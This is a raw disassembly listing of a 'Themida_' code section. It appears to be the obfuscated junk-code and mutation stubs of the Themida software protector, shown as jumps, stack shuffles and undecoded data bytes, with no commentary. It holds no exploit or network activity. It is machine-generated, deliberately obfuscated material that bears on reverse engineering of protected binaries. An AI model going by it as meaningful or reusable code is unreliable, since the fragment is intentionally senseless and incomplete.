loc_5643CC:				; CODE XREF: Themida_:0055796Fj
		add	bl, 1Eh
		mov	al, bl
		pop	ebx
		push	small 7313h
		jmp	loc_557080
; ---------------------------------------------------------------------------
		db 81h
		dd 0DF5ECEF3h, 0FF840F47h, 0E9FFFFEEh, 9186h
; ---------------------------------------------------------------------------

loc_5643EC:				; CODE XREF: Themida_:loc_55E612j
		neg	esi
		jp	loc_55972A
		push	ebx
		mov	ebx, 5E734638h
		jmp	loc_568EA2
; ---------------------------------------------------------------------------

loc_5643FF:				; CODE XREF: Themida_:00566FF7j
		add	eax, 76952768h
		jnb	loc_55F545
		push	edi
		push	ebx
		jmp	loc_5678C0
; ---------------------------------------------------------------------------
		db 80h,	0EFh, 25h
		dd 574AC1C6h, 5B5C87BFh, 35CF817Ah, 81264649h, 8815C0CFh
		dd 0B8D0F46h, 0E9FFFF76h, 4A25h, 4E2DF829h
		db 6Dh,	90h, 10h
; ---------------------------------------------------------------------------

loc_56443B:				; CODE XREF: Themida_:0055D9E0j
		pop	esp
		push	ebx
		mov	ebx, 45421048h
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		sub	[esp+8], ebp
		mov	ebp, [esp]
		push	2F67h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55A257
; ---------------------------------------------------------------------------

loc_564470:				; CODE XREF: Themida_:00566941j
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_568B74
; ---------------------------------------------------------------------------

loc_56447B:				; CODE XREF: Themida_:00567FB3j
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_563E16
; ---------------------------------------------------------------------------

loc_564489:				; CODE XREF: Themida_:0056070Fj
		mov	eax, edi
		pop	edi
		xor	ecx, eax
		jmp	loc_559892
; ---------------------------------------------------------------------------

loc_564493:				; CODE XREF: Themida_:00556959j
		push	edi
		mov	edi, 42231363h
		not	edi
		push	ebp
		mov	ebp, 69075842h
		xor	edi, ebp
		jmp	loc_55E1CE
; ---------------------------------------------------------------------------

loc_5644A8:				; CODE XREF: Themida_:00565EFEj
		add	esi, edx
		add	esi, 4D7221B0h
		jmp	loc_558387
; ---------------------------------------------------------------------------
byte_5644B5	db 0ADh, 0E9h, 0F7h	; DATA XREF: Themida_:00556108o
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5644BB:				; CODE XREF: Themida_:0055F5B4j
		mov	dh, ch
		pop	ecx
		xor	dh, ch
		mov	ecx, [esp]
		add	esp, 4
		shr	dh, 4
		jmp	loc_560A8C
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 6EEC102h, 85EE814Eh,	31AF85B4h, 851FE9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5644E2:				; CODE XREF: Themida_:00568F56j
		xor	ecx, 7FBEE637h
		xor	ebp, ecx
		jmp	loc_567097
; ---------------------------------------------------------------------------

loc_5644EF:				; CODE XREF: Themida_:0056251Dj
		pop	esi
		sub	ebx, 0FB1F6736h
		xor	edx, ebx
		pop	ebx
		add	ecx, edx
		pop	edx
		push	eax
		mov	eax, 33365980h
		add	eax, 3E601223h
		jno	loc_5672B8
		add	eax, 0BD0ED6C2h
		dec	eax
		jnz	loc_55E602
		mov	dh, 0EAh
		push	esi
		push	4
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_558EF4
; ---------------------------------------------------------------------------

loc_56452C:				; CODE XREF: Themida_:005582B0j
		pop	esp
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	209h
		mov	[esp], edx
		pop	eax
		jmp	loc_565B3F
; ---------------------------------------------------------------------------

loc_564545:				; CODE XREF: Themida_:0056AC59j
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_564551:				; CODE XREF: Themida_:0055DF63j
		push	eax
		jmp	loc_568640
; ---------------------------------------------------------------------------

loc_564557:				; CODE XREF: Themida_:00556EB1j
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	edx
		jmp	loc_566466
; ---------------------------------------------------------------------------

loc_564562:				; CODE XREF: Themida_:00557317j
		sub	edi, 71B94A23h
		shr	edi, 4
		xor	edi, 52E8A20h
		jmp	loc_557FF9
; ---------------------------------------------------------------------------

loc_564576:				; CODE XREF: Themida_:0055BC60j
		push	556Bh
		jmp	loc_563F9C
; ---------------------------------------------------------------------------

loc_564580:				; CODE XREF: Themida_:0055C1DDj
		mov	ebx, [esp]
		add	esp, 4
		add	edx, 2C4121A6h
		push	ecx
		jmp	loc_55DC6D
; ---------------------------------------------------------------------------
		dw 0F501h
		dd 3291BF57h, 0FD294929h, 0FF5736E9h, 240C87FFh, 3A17E9h
		db 0
; ---------------------------------------------------------------------------

loc_5645A9:				; CODE XREF: Themida_:00557B32j
		add	edx, 1C6468A4h
		push	ebx
		mov	ebx, 31B57FA7h
		add	edx, ebx
		pop	ebx
		mov	eax, [esp]
		jmp	loc_55ABD6
; ---------------------------------------------------------------------------
		dd 0E9242C89h, 0FFFFCBC8h
; ---------------------------------------------------------------------------

loc_5645C8:				; CODE XREF: Themida_:005664A0j
		push	ebx
		jmp	loc_561EC8
; ---------------------------------------------------------------------------

loc_5645CE:				; CODE XREF: Themida_:0056D07Aj
		shr	eax, 5
		add	eax, 3A0F205Fh
		sub	eax, 715A005Ah
		jle	loc_558F19
		add	eax, 0D726113h
		jmp	loc_55BEF6
; ---------------------------------------------------------------------------
		db 59h
; ---------------------------------------------------------------------------

loc_5645EC:				; CODE XREF: Themida_:005661CFj
		mov	edi, 4
		add	esi, edi
		jmp	loc_556503
; ---------------------------------------------------------------------------
		dd 7553ED81h, 0C5815FE8h, 18F85A4Fh, 0E95DE831h, 37A4h
dword_56460C	dd 8124048Bh, 4ECh, 24348900h, 558E68h,	4EC8300h, 0FF43F1E9h
					; DATA XREF: Themida_:005561ACo
		db 0FFh
; ---------------------------------------------------------------------------

loc_564625:				; CODE XREF: Themida_:00559910j
					; Themida_:005652DFj
		pop	edx
		sub	edx, 5DEB73AFh
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	esi
		xor	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_562023
; ---------------------------------------------------------------------------

loc_564643:				; CODE XREF: Themida_:005697AAj
		add	ebp, 6CB46DAAh
		inc	ebp
		jo	loc_55993B
		push	edi
		jmp	loc_55F5C7
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 4C381h, 1C870000h, 24248B24h, 2168E9h
		db 0
; ---------------------------------------------------------------------------

loc_56466D:				; CODE XREF: Themida_:00567F77j
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		pop	eax
		push	edi
		push	ebx
		mov	ebx, 5B0902A9h
		jmp	loc_55CBE4
; ---------------------------------------------------------------------------

loc_564685:				; CODE XREF: Themida_:005651BAj
		mov	[esp], ebp
		jmp	loc_559D69
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 3Bh
		dd 811DCD36h, 0B543BBE9h, 3D05E90Ch, 0C381FFFFh, 4, 0E902C383h
		dd 0C47h
; ---------------------------------------------------------------------------

loc_5646AC:				; CODE XREF: Themida_:00563C3Aj
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
		dd 2D6BB850h, 0D42D154Fh, 0E9342B0Ch, 0FFFF6475h
; ---------------------------------------------------------------------------

loc_5646C8:				; CODE XREF: Themida_:00566098j
		pop	ebx
		jmp	loc_56C8E0
; ---------------------------------------------------------------------------
		dw 0EFC1h
		dd 81D7F706h, 63DA1BF7h, 5FFE01FFh, 5C243487h, 2474FF57h
		dd 48F5F04h, 24248B24h,	0FF1BF6E9h, 52FA29FFh, 0BA243481h
		dd 5F478E72h, 72BAF781h, 16E9478Eh
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_564707:				; CODE XREF: Themida_:0055BB90j
		jmp	loc_55CC63
; ---------------------------------------------------------------------------

loc_56470C:				; CODE XREF: Themida_:00569219j
		test	cx, ax
		pushf
		jmp	loc_56D1E2
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0A0h
		dd 0F7121173h, 0F0C681D6h, 46761477h, 0FF2492E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564729:				; CODE XREF: Themida_:005687C5j
		add	eax, edi
		jmp	loc_55D6AB
; ---------------------------------------------------------------------------
		dd 0FF1BB2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564735:				; CODE XREF: Themida_:0055DB6Fj
		add	eax, 4
		sub	eax, 2
		xchg	eax, [esp]
		pop	esp
		mov	[esp], cx
		push	ebx
		mov	bl, 79h
		push	ecx
		mov	ch, 0FDh
		jmp	loc_5666D8
; ---------------------------------------------------------------------------

loc_564752:				; CODE XREF: Themida_:005691C4j
		add	esp, 4
		and	eax, esi
		jmp	loc_56BA41
; ---------------------------------------------------------------------------

loc_56475F:				; CODE XREF: Themida_:0056072Cj
		add	esp, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	edi
		jmp	loc_5593A2
; ---------------------------------------------------------------------------

loc_564777:				; CODE XREF: Themida_:00562FEEj
		and	ch, al
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55BAAD
; ---------------------------------------------------------------------------

loc_564784:				; CODE XREF: Themida_:00556839j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		movzx	cx, al
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		jmp	loc_56C06A
; ---------------------------------------------------------------------------

loc_5647A8:				; CODE XREF: Themida_:00557848j
		mov	[esp], edi
		push	1F008471h
		mov	edi, [esp]
		add	esp, 4
		sub	ebx, edi
		pop	edi
		and	eax, ebx
		pop	ebx
		jmp	loc_561BDF
; ---------------------------------------------------------------------------

loc_5647C1:				; CODE XREF: Themida_:005593D0j
		push	ebx
		mov	bl, 54h
		or	bl, 0EFh
		neg	bl
		jmp	loc_56BCB3
; ---------------------------------------------------------------------------

loc_5647CE:				; CODE XREF: Themida_:0056A672j
		pop	ebp
		add	edx, 2
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	13D0h
		jmp	loc_5632B5
; ---------------------------------------------------------------------------

loc_5647E6:				; CODE XREF: Themida_:0056CAABj
		sub	esi, eax
		pop	eax
		add	ebp, 8A60427h
		add	ebp, esi
		sub	ebp, 8A60427h
		jmp	loc_56C0F5
; ---------------------------------------------------------------------------

loc_5647FC:				; CODE XREF: Themida_:005677BEj
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	eax
		mov	eax, 795F2276h
		push	eax
		not	dword ptr [esp]
		pop	eax
		dec	eax
		or	eax, 29D15D48h
		push	ecx
		mov	ecx, 17690260h
		not	ecx
		jmp	loc_558F46
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 0E9522424h, 275Bh
		dd 0C500ADB0h, 0EA885866h, 39F2E9h
		db 0
; ---------------------------------------------------------------------------

loc_56484D:				; CODE XREF: Themida_:00562495j
		sub	esi, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_56CBFA
; ---------------------------------------------------------------------------

loc_564858:				; CODE XREF: Themida_:0055ECE2j
		push	71FDh
		push	esp
		jmp	loc_5687A6
; ---------------------------------------------------------------------------

loc_564863:				; CODE XREF: Themida_:0055A955j
					; Themida_:00567FBBj
		sub	ebp, 4
		jmp	loc_56CC19
; ---------------------------------------------------------------------------
		dw 0C89h
aTyhL		db '$TYh=L',0
		align 4
		dd 0BA241489h, 21F652C8h, 478868h, 24148900h, 0F7240487h
		dd 240487D0h, 8324148Bh, 0F28104C4h, 0DE09AD33h, 6500E981h
		dd 62E90358h, 8BFFFFB9h, 0C483243Ch, 5EF30904h,	1FA4E9h
		db 0
; ---------------------------------------------------------------------------

loc_5648B5:				; CODE XREF: Themida_:0055E953j
		add	ecx, 7B2B30F2h
		add	ecx, edi
		sub	ecx, 7B2B30F2h
		pop	edi
		sub	ecx, 4
		jmp	loc_55C729
; ---------------------------------------------------------------------------

loc_5648CC:				; CODE XREF: Themida_:00557C58j
		push	ecx
		mov	cl, 6
		xor	cl, 3Ch
		add	bh, cl
		pop	ecx
		xchg	dl, bh
		not	dl
		xchg	dl, bh
		push	small 79DFh
		mov	[esp], cx
		push	ebx
		jmp	loc_564AD8
; ---------------------------------------------------------------------------

loc_5648E9:				; CODE XREF: Themida_:0055A40Fj
		add	edx, 0BA2513Dh
		add	edx, 0F74FBFEDh
		jmp	loc_56D100
; ---------------------------------------------------------------------------

loc_5648FA:				; CODE XREF: Themida_:0056C9E9j
		mov	dh, 0DAh
		jmp	loc_56D2B8
; ---------------------------------------------------------------------------

loc_564901:				; CODE XREF: Themida_:005583BCj
		mov	[esp], ecx
		mov	cl, 0A2h
		jmp	loc_56C9DF
; ---------------------------------------------------------------------------

loc_56490B:				; CODE XREF: Themida_:loc_5625AFj
		add	edx, 4EA8CE01h
		jmp	loc_5610D5
; ---------------------------------------------------------------------------

loc_564916:				; CODE XREF: Themida_:0056C220j
		pop	eax
		jmp	loc_569C16
; ---------------------------------------------------------------------------

loc_56491C:				; CODE XREF: Themida_:0056CB85j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	[esp+4], esi
		pop	esi
		pop	eax
		push	edx
		jmp	loc_560337
; ---------------------------------------------------------------------------

loc_564932:				; CODE XREF: Themida_:00558493j
		mov	esi, 2
		sub	eax, 605C61F3h
		push	3668h
		mov	[esp], ecx
		mov	ecx, 11067135h
		add	eax, ecx
		pop	ecx
		add	eax, esi
		sub	eax, 11067135h
		push	5AD9h
		mov	[esp], ecx
		mov	ecx, 32D91A07h
		dec	ecx
		jg	loc_56205A
		sub	ecx, 1B2641AEh
		mov	dl, 18h
		push	eax

loc_564971:				; CODE XREF: Themida_:0056A1B8j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	dword ptr [eax]
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_564982:				; CODE XREF: Themida_:00565FF8j
		mov	edx, esi
		pop	esi
		add	edx, 40187D21h
		xor	edx, 352D60D1h
		xor	edx, 0B144C6C1h
		jmp	loc_5580BC
; ---------------------------------------------------------------------------
dword_56499C	dd 240C8B66h, 52E08950h, 1BAAE9h, 0FCC68100h, 0E92EF00Ch
					; DATA XREF: Themida_:00556048o
		dd 84A6h
; ---------------------------------------------------------------------------

loc_5649B4:				; CODE XREF: Themida_:005601BCj
		mov	[esp], edi
		mov	edi, 76CE7A04h
		jmp	loc_56A97B
; ---------------------------------------------------------------------------

loc_5649C1:				; CODE XREF: Themida_:0056B0FFj
		sub	ebx, 0AA4BEBABh
		sub	eax, 58B01CEEh
		add	eax, ebx
		add	eax, 58B01CEEh
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 28C11C15h
		sub	ebx, 51272B90h
		sub	ebx, 544C36F4h
		add	ebx, edi
		push	ebp
		mov	ebp, 309B7E3Bh
		inc	ebp
		xor	ebp, 3912141Ah
		dec	ebp
		add	ebp, 4593440Ch
		sub	ebp, 0FAD0773Dh
		add	ebx, ebp
		pop	ebp
		jmp	loc_565491
; ---------------------------------------------------------------------------

loc_564A12:				; CODE XREF: Themida_:loc_558CCFj
		or	eax, 3B5C2A18h
		jle	loc_5681A6
		xor	eax, 0A62B7095h
		inc	eax
		jl	loc_559F1B
		pop	ebx
		xor	esi, 7EB95349h
		or	edi, esi
		pop	esi
		sub	edi, 0FEFBFF36h
		push	436Ch
		mov	[esp], eax
		mov	eax, 1F8C0347h
		jmp	loc_569001
; ---------------------------------------------------------------------------

loc_564A4B:				; CODE XREF: Themida_:0056A86Dj
		push	dword ptr [esp]
		pop	edi
		jmp	loc_56C7D6
; ---------------------------------------------------------------------------

loc_564A54:				; CODE XREF: Themida_:0055C688j
		xor	esi, 2F6B788Eh
		push	esi
		sub	dword ptr [esp], 11ED2AF5h
		mov	ebx, [esp]
		jmp	loc_5567A6
; ---------------------------------------------------------------------------

loc_564A6A:				; CODE XREF: Themida_:005632C7j
		add	esp, 4
		sub	ah, dh
		pop	edx
		or	bh, ah
		mov	eax, [esp]
		add	esp, 4
		xchg	al, bh
		not	al
		xchg	al, bh
		jmp	loc_565FEC
; ---------------------------------------------------------------------------

loc_564A86:				; CODE XREF: Themida_:0055659Dj
		pop	edi
		shl	eax, 5
		neg	eax
		shl	eax, 4
		push	eax
		push	ebx
		mov	eax, [esp]
		jmp	loc_56C821
; ---------------------------------------------------------------------------
		db 0Fh,	87h, 0E9h
		dd 5500006Eh, 1D3107BDh, 7385E991h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564AAA:				; CODE XREF: Themida_:005597B4j
		push	edi
		mov	edi, 18D53D24h
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_560351
; ---------------------------------------------------------------------------
byte_564AC3	db 68h			; DATA XREF: Themida_:005560CCo
		dd 7955h, 68242C89h, 7479h, 0E9240C89h,	32F1h
; ---------------------------------------------------------------------------

loc_564AD8:				; CODE XREF: Themida_:005648E4j
		mov	bh, 0C8h
		mov	cl, 8Ah
		add	cl, bh
		pop	ebx
		jmp	loc_567205
; ---------------------------------------------------------------------------

loc_564AE4:				; CODE XREF: Themida_:00564179j
		push	eax
		jmp	loc_560373
; ---------------------------------------------------------------------------

loc_564AEA:				; CODE XREF: Themida_:0056B434j
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_564AEF:				; CODE XREF: Themida_:0055DEB2j
		add	ecx, 380DCA98h
		jmp	loc_562115
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 24248B24h, 0FFC938E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564B05:				; CODE XREF: Themida_:0055755Ej
		mov	eax, [esp]
		add	esp, 4
		sub	edi, 455D6225h
		add	edi, 20E65EDh
		sub	edi, ebx
		jmp	loc_55E829
; ---------------------------------------------------------------------------

loc_564B1E:				; CODE XREF: Themida_:00560F4Cj
		add	ebp, 2D4F1153h
		push	esi
		mov	esi, 2DE47DBBh
		sub	esi, 32DD4CB3h
		jmp	loc_55C178
; ---------------------------------------------------------------------------

loc_564B35:				; CODE XREF: Themida_:0055DA44j
		pop	eax
		add	edi, esi
		pop	esi
		add	edi, ebp
		sub	edi, 3FD43812h
		add	edi, 3420073Bh
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 569456F6h
		dec	ebp
		sub	ebp, 569456F1h
		add	eax, ebp
		pop	ebp
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_5668FA
; ---------------------------------------------------------------------------
		dw 4481h
		dd 2EB00424h, 8B58121Dh, 0C4832404h, 8AB95104h,	8175FA57h
		dd 0FA5786E9h, 16E26875h, 1C890000h, 0BE8BB24h,	0D82902CEh
		dd 0FF730FE9h, 4EB505FFh, 67E9154Eh
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_564BAB:				; CODE XREF: Themida_:00558CBCj
		mov	eax, 4
		jmp	loc_56833B
; ---------------------------------------------------------------------------

loc_564BB5:				; CODE XREF: Themida_:005624F0j
		shr	edx, 1
		cmp	eax, edx
		jmp	loc_5582B5
; ---------------------------------------------------------------------------

loc_564BBE:				; CODE XREF: Themida_:0055EC23j
		pop	ecx
		jmp	loc_55D9B0
; ---------------------------------------------------------------------------

loc_564BC4:				; CODE XREF: Themida_:00561BBDj
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_56AF83
; ---------------------------------------------------------------------------
		db 68h,	17h, 7Fh
		dd 2C890000h, 3459BD24h, 0C58163C0h, 54BB119Dh,	72FFE581h
		dd 8B0F0BF2h, 65B3h, 2E03ED81h,	870F16E2h, 0FFFFA0C6h
		dd 5E45BB53h, 97E93C70h
		db 1Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564C07:				; CODE XREF: Themida_:loc_560EF9j
		dec	cl
		jno	loc_566A6A
		not	cl
		jmp	loc_5664DD
; ---------------------------------------------------------------------------
		dw 0D38Ah
		db 8Ah,	0E4h
; ---------------------------------------------------------------------------

loc_564C1A:				; CODE XREF: Themida_:0056B483j
		mov	cl, 2
		add	al, cl
		pop	cx
		sub	al, cl
		sub	al, 2
		push	cx
		jmp	loc_559A4C
; ---------------------------------------------------------------------------
		db 51h
		dd 0F0E9E189h, 81FFFF7Ch, 4C4h,	0A9D8E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564C3E:				; CODE XREF: Themida_:0055E28Fj
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_55A4E9
; ---------------------------------------------------------------------------

loc_564C4F:				; CODE XREF: Themida_:0056D61Cj
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5581EB
; ---------------------------------------------------------------------------

loc_564C60:				; CODE XREF: Themida_:00560F40j
		sub	esp, 4
		mov	[esp], esp
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		jmp	loc_55DEAB
; ---------------------------------------------------------------------------
		db 4Eh,	81h, 0EEh
		dd 0BCA92A21h, 815EF001h, 4ECh,	3690E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_564C8A:				; CODE XREF: Themida_:005575CFj
		and	edx, 41F613EDh
		add	edx, 40250582h
		shl	edx, 2
		jmp	loc_566470
; ---------------------------------------------------------------------------

loc_564C9E:				; CODE XREF: Themida_:00563A9Bj
		mov	ecx, 56E53612h
		shl	ecx, 4
		add	ecx, 0FFFFFFFFh
		jmp	loc_5619F6
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 0E9E28952h, 0FFFF6E10h
; ---------------------------------------------------------------------------

loc_564CBC:				; CODE XREF: Themida_:0055C31Aj
		pop	esp
		mov	[esp], ebp
		push	4
		pop	ebp
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_562287
; ---------------------------------------------------------------------------

loc_564CD3:				; CODE XREF: Themida_:0055D476j
		add	esp, 4
		push	ebx
		push	50552483h
		pop	ebx
		and	ebx, 65933088h
		shl	ebx, 8
		and	ebx, 5FD03F0Ah
		sub	ebx, 0ABB78EFFh
		xor	eax, ebx
		pop	ebx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_55CE98
; ---------------------------------------------------------------------------

loc_564D03:				; CODE XREF: Themida_:0056D6D3j
		push	edx
		push	esp
		pop	edx
		jmp	loc_55794B
; ---------------------------------------------------------------------------

loc_564D0B:				; CODE XREF: Themida_:0055A8EBj
		or	eax, 292A54BBh
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5670E1
; ---------------------------------------------------------------------------

loc_564D1E:				; CODE XREF: Themida_:00558388j
		push	267Dh
		mov	[esp], ebx
		jmp	loc_55AA8D
; ---------------------------------------------------------------------------

loc_564D2B:				; CODE XREF: Themida_:005656D0j
		add	ebx, esi
		push	dword ptr [esp]
		pop	esi
		push	eax
		mov	eax, esp
		jmp	loc_5682A0
; ---------------------------------------------------------------------------

loc_564D39:				; CODE XREF: Themida_:00566275j
		sub	ch, 0F3h
		jmp	loc_557B06
; ---------------------------------------------------------------------------

loc_564D41:				; CODE XREF: Themida_:loc_56304Cj
		push	bx
		mov	bl, 41h
		jmp	loc_56B53F
; ---------------------------------------------------------------------------

loc_564D4A:				; CODE XREF: Themida_:0056B496j
		sub	esi, edx
		jmp	loc_562C3E
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0F418A8BEh, 0BE565736h, 2E384F1Ch, 0FF4C68E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564D65:				; CODE XREF: Themida_:00559612j
					; Themida_:00568769j
		add	esp, 4
		add	edx, edi
		add	edx, 4B5B0DE6h
		jmp	loc_5678ED
; ---------------------------------------------------------------------------

loc_564D75:				; CODE XREF: Themida_:0055D32Bj
		add	edx, 5FD33E8Bh
		sub	edx, 39114C7h
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_564D86:				; CODE XREF: Themida_:0055DE0Aj
		push	4B3h
		jmp	loc_56CA97
; ---------------------------------------------------------------------------

loc_564D90:				; CODE XREF: Themida_:00557344j
		pop	ebp
		jmp	loc_55BEFE
; ---------------------------------------------------------------------------

loc_564D96:				; CODE XREF: Themida_:0055FE69j
		sub	bl, dl
		sub	bl, 7Eh
		sub	bl, 3Bh
		pop	edx
		jmp	loc_56A785
; ---------------------------------------------------------------------------
		dd offset dword_518FD4+294h
		dd 24348900h, 2887E9h
		db 0
; ---------------------------------------------------------------------------

loc_564DB1:				; CODE XREF: Themida_:005656F1j
		push	ecx
		jmp	loc_5614E5
; ---------------------------------------------------------------------------

loc_564DB7:				; CODE XREF: Themida_:005661C7j
		mov	edx, [esp]
		jmp	loc_55CCC3
; ---------------------------------------------------------------------------

loc_564DBF:				; CODE XREF: Themida_:00569BE2j
		push	eax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 36122CA6h
		xor	[esp+4], eax
		pop	eax
		mov	ebp, [esp]
		jmp	loc_56CAFD
; ---------------------------------------------------------------------------

loc_564DDB:				; CODE XREF: Themida_:0055C37Aj
		mov	edx, 0AC34D37Eh
		add	ebx, edx
		pop	edx
		sub	ebx, 64DDFD10h
		jmp	loc_56705F
; ---------------------------------------------------------------------------

loc_564DEE:				; CODE XREF: Themida_:0056C0A5j
		mov	ebp, 3BA76CAFh
		and	ebp, 46BF17C7h
		sub	ebp, 0FFFFFFFFh
		shl	ebp, 4
		jmp	loc_5620CE
; ---------------------------------------------------------------------------

loc_564E04:				; CODE XREF: Themida_:00567D77j
		add	edx, 749C1A95h
		sub	edx, 601F5666h
		add	edx, ecx
		add	edx, 601F5666h
		push	eax
		mov	eax, 787B554Fh
		not	eax
		push	edx
		mov	edx, 0ED176FE5h
		add	eax, edx
		pop	edx
		sub	edx, eax
		jmp	loc_569F7D
; ---------------------------------------------------------------------------

loc_564E30:				; CODE XREF: Themida_:00568ABDj
		push	esi
		jmp	loc_56D0AB
; ---------------------------------------------------------------------------

loc_564E36:				; CODE XREF: Themida_:00556B85j
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_564E3B:				; CODE XREF: Themida_:00563D0Bj
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		jmp	loc_55C5A9
; ---------------------------------------------------------------------------

loc_564E46:				; CODE XREF: Themida_:0055C63Dj
		add	esi, 1FFFE3ADh
		push	eax
		mov	eax, 51AB401Bh
		xor	esi, eax
		pop	eax
		jmp	loc_562608
; ---------------------------------------------------------------------------

loc_564E5A:				; CODE XREF: Themida_:0056B290j
		push	small 5963h
		mov	[esp], ax
		mov	ah, 46h
		xor	dh, ah
		mov	ax, [esp]
		add	esp, 2
		add	ah, 11h
		add	ah, dh
		sub	ah, 11h
		pop	edx
		sub	cl, ah
		push	dword ptr [esp]
		pop	eax
		push	ebx
		jmp	loc_562831
; ---------------------------------------------------------------------------

loc_564E85:				; CODE XREF: Themida_:00568DCCj
		shr	bh, 2
		jmp	loc_567BD9
; ---------------------------------------------------------------------------

loc_564E8D:				; CODE XREF: Themida_:00559B99j
		add	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_558564
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4C481h, 0C5810000h, 4, 0A0968h, 243C8900h, 4EC81h, 34890000h
		dd 2BE24h, 81560000h, 1B83242Ch, 815F21C4h, 0C41B83C7h
		dd 24348B21h, 6F11E9h
		db 0
; ---------------------------------------------------------------------------

loc_564ED9:				; CODE XREF: Themida_:00567F6Ej
		not	edi
		jmp	loc_557052
; ---------------------------------------------------------------------------

loc_564EE0:				; CODE XREF: Themida_:00569B5Ej
		sub	edx, 159D2616h
		add	edx, 4FC60BAAh
		push	ebp
		mov	ebp, 3E44292Dh
		xor	ebp, 44971D79h
		add	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	edi
		mov	edi, esp
		jmp	loc_563955
; ---------------------------------------------------------------------------

loc_564F06:				; CODE XREF: Themida_:0055E622j
		sub	edx, 54B63A93h
		jmp	loc_56B8D8
; ---------------------------------------------------------------------------

loc_564F11:				; CODE XREF: Themida_:0055DE4Ej
		pop	esi
		push	eax
		jmp	loc_5633A9
; ---------------------------------------------------------------------------

loc_564F18:				; CODE XREF: Themida_:00563473j
		push	ebp
		mov	ebp, 4A4930B7h
		jmp	loc_56C291
; ---------------------------------------------------------------------------

loc_564F23:				; CODE XREF: Themida_:0055FAF7j
		mov	cx, [esp]
		add	esp, 2
		xor	bx, ax
		jmp	loc_56A925
; ---------------------------------------------------------------------------
word_564F32	dw 8B66h		; DATA XREF: Themida_:00556090o
		dd 0EC83240Ch, 242C8904h, 0FFE553E9h, 2E3C1FFh,	0FF70A5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564F49:				; CODE XREF: Themida_:0055E6A8j
		add	dword ptr [esp], 4
		pop	ebx
		push	ecx
		push	edx
		jmp	loc_5596B1
; ---------------------------------------------------------------------------

loc_564F55:				; CODE XREF: Themida_:005622E3j
		jnz	loc_5629B7
		jmp	loc_558387
; ---------------------------------------------------------------------------
		dd 9C7AEB81h, 0DF89BD61h
; ---------------------------------------------------------------------------

loc_564F68:				; CODE XREF: Themida_:00565FE7j
		push	249h
		mov	[esp], edi
